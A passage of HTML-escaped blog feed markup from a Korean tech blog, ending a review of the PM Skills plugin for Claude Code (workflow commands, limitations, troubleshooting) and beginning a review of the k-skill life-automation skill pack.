&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1988&quot; data-origin-height=&quot;1078&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/blKbd5/dJMb9964BWj/HEb92ZrIaA5qbry4yNWI60/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/blKbd5/dJMb9964BWj/HEb92ZrIaA5qbry4yNWI60/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/blKbd5/dJMb9964BWj/HEb92ZrIaA5qbry4yNWI60/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FblKbd5%2FdJMb9964BWj%2FHEb92ZrIaA5qbry4yNWI60%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1988&quot; height=&quot;1078&quot; data-origin-width=&quot;1988&quot; data-origin-height=&quot;1078&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #f8d7da; border: 1px solid #f5c6cb; padding: 10px; text-align: left; font-weight: 600; width: 50%;&quot;&gt;일반 프롬프트: &quot;PRD 써줘&quot;&lt;/th&gt;
&lt;th style=&quot;background-color: #d4edda; border: 1px solid #c3e6cb; padding: 10px; text-align: left; font-weight: 600; width: 50%;&quot;&gt;PM Skills: /write-prd&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #dee2e6; padding: 10px; vertical-align: top;&quot;&gt;- 비구조적 텍스트 덩어리&lt;br /&gt;- 우선순위 기준 없음&lt;br /&gt;- 검증 방법(acceptance criteria) 누락&lt;br /&gt;- 사용자 스토리/테스트 시나리오 미포함&lt;br /&gt;- 매번 결과 형식이 다름&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #dee2e6; padding: 10px; vertical-align: top;&quot;&gt;- 구조화된 PRD 템플릿 (목표&amp;rarr;범위&amp;rarr;기능&amp;rarr;비기능 요구사항)&lt;br /&gt;- RICE/MoSCoW 등 우선순위 프레임워크 적용&lt;br /&gt;- Acceptance Criteria 자동 포함&lt;br /&gt;- user-stories, test-scenarios 스킬 체인으로 연결&lt;br /&gt;- 일관된 형식의 산출물&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div style=&quot;background: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;주의&lt;/b&gt; &amp;mdash; 위 비교는 PM Skills가 제공하는 &lt;b&gt;구조적 가이드&lt;/b&gt;의 차이를 보여주는 것이다. 산출물의 내용적 품질은 사용자가 제공하는 컨텍스트와 AI 모델의 능력에 따라 달라진다. PM Skills가 &quot;완벽한 PRD&quot;를 자동 생성해주는 것은 아니다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;7.2 시나리오: B2B SaaS 대시보드 제품 기획&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;새로운 제품 아이디어에서 런칭까지 이어지는 전체 PM 워크플로우를 실제 명령어 흐름으로 살펴보자.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1980&quot; data-origin-height=&quot;1094&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/yjelV/dJMcaf0uIsZ/hFv7VzHgfWDkGks5HfHZL1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/yjelV/dJMcaf0uIsZ/hFv7VzHgfWDkGks5HfHZL1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/yjelV/dJMcaf0uIsZ/hFv7VzHgfWDkGks5HfHZL1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FyjelV%2FdJMcaf0uIsZ%2FhFv7VzHgfWDkGks5HfHZL1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1980&quot; height=&quot;1094&quot; data-origin-width=&quot;1980&quot; data-origin-height=&quot;1094&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Phase 1: 발견 (/discover)&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;armasm&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code','Consolas',monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;text&quot;&gt;&lt;code&gt;/discover B2B SaaS 팀의 실시간 매출 대시보드. 타깃은 시리즈 A~B 스타트업 CEO/COO.&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 명령어는 4개 핵심 스킬(brainstorm-ideas &amp;rarr; identify-assumptions &amp;rarr; prioritize-assumptions &amp;rarr; brainstorm-experiments)을 포함한 7단계 워크플로우를 실행한다.&lt;/p&gt;
&lt;ol style=&quot;padding-left: 20px;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;b&gt;Discovery Context 이해&lt;/b&gt; &amp;mdash; 제품 컨텍스트 파악&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;b&gt;Brainstorm Ideas&lt;/b&gt; &amp;mdash; 아이디어 발상 (핵심 스킬 1)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;b&gt;Identify Assumptions&lt;/b&gt; &amp;mdash; 가정 식별 (핵심 스킬 2)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;b&gt;Prioritize Assumptions&lt;/b&gt; &amp;mdash; 가정 우선순위 결정 (핵심 스킬 3)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;b&gt;Design Experiments&lt;/b&gt; &amp;mdash; 실험 설계 (핵심 스킬 4)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;b&gt;Create Discovery Plan&lt;/b&gt; &amp;mdash; 발견 계획 수립&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Offer Next Steps&lt;/b&gt; &amp;mdash; 다음 단계 제안&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;산출물로는 아이디어 목록, 가정별 위험도/검증 비용 매트릭스, 우선 실행할 실험 설계서, 후속 액션 플랜이 나온다. 각 단계의 출력이 다음 단계의 입력으로 자동 전달되므로 컨텍스트 손실 없이 워크플로우가 진행된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Phase 2: 전략 수립 (/strategy)&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;armasm&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code','Consolas',monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;text&quot;&gt;&lt;code&gt;/strategy B2B SaaS 실시간 매출 대시보드&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;발견 결과를 바탕으로 제품 전략을 수립한다. SWOT 분석, Lean Canvas, Value Proposition 등 12개 전략 스킬 중 상황에 맞는 것을 활용한다. 산출물은 전략 캔버스, 경쟁 포지셔닝, 핵심 차별화 요소 등이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Phase 3: PRD 작성 (/write-prd)&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;applescript&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code','Consolas',monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;text&quot;&gt;&lt;code&gt;/write-prd B2B SaaS 실시간 매출 대시보드 MVP&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;전략을 기반으로 PRD를 작성한다. create-prd, user-stories, test-scenarios 등 15개 실행 스킬이 동원된다. 산출물은 구조화된 PRD 문서, 사용자 스토리 목록, 테스트 시나리오다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Phase 4: 런칭 계획 (/plan-launch)&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;applescript&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code','Consolas',monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;text&quot;&gt;&lt;code&gt;/plan-launch B2B SaaS 실시간 매출 대시보드&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;GTM 전략, beachhead segment, ICP 정의 등 6개 GTM 스킬을 활용해 런칭 계획을 수립한다. 산출물은 GTM 전략 문서, ICP 정의서, 경쟁 배틀카드다.&lt;/p&gt;
&lt;div style=&quot;background: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;팁&lt;/b&gt; &amp;mdash; 각 Phase의 산출물을 별도 파일로 저장해두면, 다음 Phase에서 &quot;이전 단계에서 작성한 [파일명]을 참고해서&quot;라고 컨텍스트를 넘길 수 있다. PM Skills 자체는 Phase 간 자동 연결을 제공하지 않으므로, 사용자가 컨텍스트를 수동으로 이어줘야 한다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;인사이트 &amp;mdash; 결정 매트릭스&lt;/b&gt;: &quot;언제 어느 명령어를 쓸 것인가&quot;&lt;/p&gt;
&lt;/div&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;PM 상황&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;추천 명령어&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;이유&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;아이디어만 있는 초기 단계&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 3px; font-family: 'Fira Code','Consolas',monospace;&quot;&gt;/discover&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;가정 기반 실험 설계까지 한 번에&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;기존 제품의 전략 재수립&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 3px; font-family: 'Fira Code','Consolas',monospace;&quot;&gt;/strategy&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;검증된 프레임워크로 빠르게 전략 수립&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;기획서 작성 중&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 3px; font-family: 'Fira Code','Consolas',monospace;&quot;&gt;/write-prd&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;PRD + 사용자 스토리 + 테스트 시나리오 패키지&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;런칭 준비&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 3px; font-family: 'Fira Code','Consolas',monospace;&quot;&gt;/plan-launch&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;GTM + ICP + 경쟁 분석 통합&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;8. 제한사항 및 주의사항&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용 전 알아야 할 몇 가지 한계가 있다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1988&quot; data-origin-height=&quot;1092&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cYoUaa/dJMcacW0Rka/Jq1DQsqc69K8cTwgvn1H80/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cYoUaa/dJMcacW0Rka/Jq1DQsqc69K8cTwgvn1H80/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cYoUaa/dJMcacW0Rka/Jq1DQsqc69K8cTwgvn1H80/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcYoUaa%2FdJMcacW0Rka%2FJq1DQsqc69K8cTwgvn1H80%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1988&quot; height=&quot;1092&quot; data-origin-width=&quot;1988&quot; data-origin-height=&quot;1092&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;명령어는 Claude 전용이다.&lt;/b&gt; 슬래시 커맨드(&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 3px; font-family: 'Fira Code','Consolas',monospace;&quot;&gt;/discover&lt;/code&gt;, &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 3px; font-family: 'Fira Code','Consolas',monospace;&quot;&gt;/strategy&lt;/code&gt; 등)는 Claude Code와 Cowork에서만 작동한다. 다른 AI 어시스턴트에서는 개별 스킬만 사용할 수 있다. 체이닝의 편리함을 포기해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Windows 환경 이슈.&lt;/b&gt; Cowork의 VM 서비스가 불안정할 수 있다. PowerShell 스크립트로 CoworkVMServiceMonitor를 등록하면 대부분 해결된다고 프로젝트에서 안내하고 있다. Windows 사용자라면 CLI 방식을 우선 고려해보자.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;스킬은 AI 모델의 능력에 의존한다.&lt;/b&gt; 복잡한 프레임워크(예: Opportunity Solution Tree)를 정확하게 작성하려면 AI 모델이 해당 도메인 지식을 충분히 이해하고 있어야 한다. 스킬은 구조를 제공할 뿐, 내용의 품질은 모델에 달려 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;MIT 라이선스지만 책임 소유.&lt;/b&gt; Paweł Huryn이 큐레이팅한 오픈소스이므로 자유롭게 사용할 수 있지만, 스킬 내용의 정확성에 대해서는 사용자가 직접 검증해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;9. 트러블슈팅 Q&amp;amp;A&lt;/b&gt;&lt;/h2&gt;
&lt;div style=&quot;background: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 25px; margin: 15px 0;&quot;&gt;
&lt;p style=&quot;font-weight: 600; margin: 0 0 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;Q: 플러그인 설치 후 명령어가 인식되지 않는다.&lt;/p&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;A: Claude Code CLI에서 marketplace를 먼저 추가했는지 확인하자. &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 3px; font-family: 'Fira Code','Consolas',monospace;&quot;&gt;claude plugin marketplace add phuryn/pm-skills&lt;/code&gt;를 실행한 뒤 개별 플러그인을 설치해야 한다. Cowork에서는 Customize &amp;gt; Browse plugins에서 marketplace가 정상적으로 추가되었는지 확인한다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 25px; margin: 15px 0;&quot;&gt;
&lt;p style=&quot;font-weight: 600; margin: 0 0 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;Q: Windows에서 Cowork가 자꾸 멈춘다.&lt;/p&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;A: 프로젝트 README에 PowerShell 스크립트로 CoworkVMServiceMonitor를 등록하는 방법이 안내되어 있다. 이 스크립트를 적용하면 &quot;90%의 문제가 해결된다&quot;고 한다. 그래도 해결되지 않으면 CLI 방식을 대안으로 사용하자.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 25px; margin: 15px 0;&quot;&gt;
&lt;p style=&quot;font-weight: 600; margin: 0 0 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;Q: Gemini CLI에서 스킬을 어떻게 쓰나요?&lt;/p&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;A: 스킬 폴더를 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 3px; font-family: 'Fira Code','Consolas',monospace;&quot;&gt;.gemini/skills/&lt;/code&gt; 디렉토리에 복사한다. 단, 명령어 체이닝은 작동하지 않으므로, 개별 스킬을 수동으로 호출해야 한다. 예를 들어 &quot;opportunity-solution-tree 스킬을 사용해서 분석해줘&quot;라고 직접 지시한다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 25px; margin: 15px 0;&quot;&gt;
&lt;p style=&quot;font-weight: 600; margin: 0 0 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;Q: 기존 플러그인을 수정하고 싶다.&lt;/p&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;A: 스킬은 SKILL.md 파일이므로 직접 수정할 수 있다. YAML frontmatter의 name과 description을 유지하면서 본문을 원하는 대로 변경하면 된다. CONTRIBUTING.md에 기여 가이드가 있다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 25px; margin: 15px 0;&quot;&gt;
&lt;p style=&quot;font-weight: 600; margin: 0 0 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;Q: 스킬이 자동으로 로드되지 않는다.&lt;/p&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;A: Skills는 관련 컨텍스트가 감지될 때 자동 로드된다. 명시적으로 스킬을 호출하려면 스킬 name을 직접 언급하면 된다. 예: &quot;opportunity-solution-tree를 사용해서 분석해줘&quot;.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;font-size: 14px; color: #888; font-weight: 600;&quot; data-ke-size=&quot;size16&quot;&gt;출처&lt;/p&gt;
&lt;ul style=&quot;padding-left: 20px; font-size: 14px; color: #888;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/phuryn/pm-skills&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;PM Skills Marketplace - GitHub&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/phuryn/pm-skills/blob/main/CONTRIBUTING.md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;CONTRIBUTING.md&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://www.productcompass.pm/p/pm-skills-marketplace-claude&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Product Compass 소개글&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;</description>
      <category>AI/Skills</category>
      <category>claude code</category>
      <category>PM Skills</category>
      <category>PRD 자동화</category>
      <category>기획 AI</category>
      <category>기획서 템플릿</category>
      <category>오픈소스 PM</category>
      <category>워크플로우 체이닝</category>
      <category>제품 관리자</category>
      <category>제품 기획 프레임워크</category>
      <category>클로드 코드 플러그인</category>
      <author>갓대희</author>
      <guid isPermaLink="true">https://goddaehee.tistory.com/578</guid>
      <comments>https://goddaehee.tistory.com/578#entry578comment</comments>
      <pubDate>Sun, 12 Apr 2026 17:11:15 +0900</pubDate>
    </item>
    <item>
      <title>k-skill 리뷰 - 한국인이 만든 생활 밀착형 AI 에이전트(Claude Code로 KTX 예매까지 자동화하는 법)</title>
      <link>https://goddaehee.tistory.com/579</link>
      <description>&lt;!-- 래퍼 1: 인트로 --&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.7; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;안녕하세요! 갓대희 입니다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2026&quot; data-origin-height=&quot;1136&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bcuSsp/dJMcaiJFrtV/k6XJvdV4JcdnVZvFhP8dn1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bcuSsp/dJMcaiJFrtV/k6XJvdV4JcdnVZvFhP8dn1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bcuSsp/dJMcaiJFrtV/k6XJvdV4JcdnVZvFhP8dn1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbcuSsp%2FdJMcaiJFrtV%2Fk6XJvdV4JcdnVZvFhP8dn1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2026&quot; height=&quot;1136&quot; data-origin-width=&quot;2026&quot; data-origin-height=&quot;1136&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;/div&gt;
&lt;!-- 래퍼 2: 본문 --&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;Claude Code가 코드만 짜는 도구인 줄 알았는데, KTX 예매까지 된다고?&quot;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/NomaDamas/k-skill&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;k-skill&lt;/a&gt;은 NomaDamas 팀이 만든 Claude Code&amp;middot;OpenClaw 전용 스킬 모음집이다. SRT, KTX, 로또, 한강 수위, 다이소 매장 픽업 재고까지 &amp;mdash; &quot;귀찮은 것을 AI 에이전트에게 다 시켜버리세요&quot;라는 한 줄 설명처럼, 한국 생활에서 진짜로 쓰이는 기능들로만 가득 채워져 있다.&lt;/p&gt;
&lt;!-- 목차 박스 --&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 20px 25px; border-radius: 12px; border: 2px solid #cce5ff; margin: 20px 0 30px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;목차&lt;/b&gt;&lt;/p&gt;
&lt;ol style=&quot;margin: 10px 0; padding-left: 20px;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;k-skill이란? &amp;mdash; 31개 기능과 핵심 가치&lt;/li&gt;
&lt;li&gt;설치하기 &amp;mdash; Claude Code / OpenClaw 공통 가이드&lt;/li&gt;
&lt;li&gt;k-skill-setup &amp;mdash; credential 설정과 secrets 관리&lt;/li&gt;
&lt;li&gt;생활 밀착형 스킬 상세 &amp;mdash; 다이소&amp;middot;올영&amp;middot;근처술집&amp;middot;로또&amp;middot;날씨&amp;middot;한강수위&lt;/li&gt;
&lt;li&gt;KTX 예매 성공 시나리오 &amp;mdash; search &amp;rarr; reserve &amp;rarr; reservations 전 과정&lt;/li&gt;
&lt;li&gt;주목할 추가 스킬들 &amp;mdash; SRT, 카카오톡, 지하철, 쿠팡, 택배&lt;/li&gt;
&lt;li&gt;k-skill-proxy &amp;mdash; 사용자 API key 없이 쓰는 법&lt;/li&gt;
&lt;li&gt;블루리본 스킬 지원 중단 안내&lt;/li&gt;
&lt;li&gt;트러블슈팅 Q&amp;amp;A&lt;/li&gt;
&lt;li&gt;결론 &amp;mdash; 언제 쓰고 언제 쓰지 않는가&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;!-- 섹션 1 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. k-skill이란? &amp;mdash; 31개 기능과 핵심 가치&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;한국인이 만든, 한국인을 위한 에이전트 스킬&lt;/h3&gt;
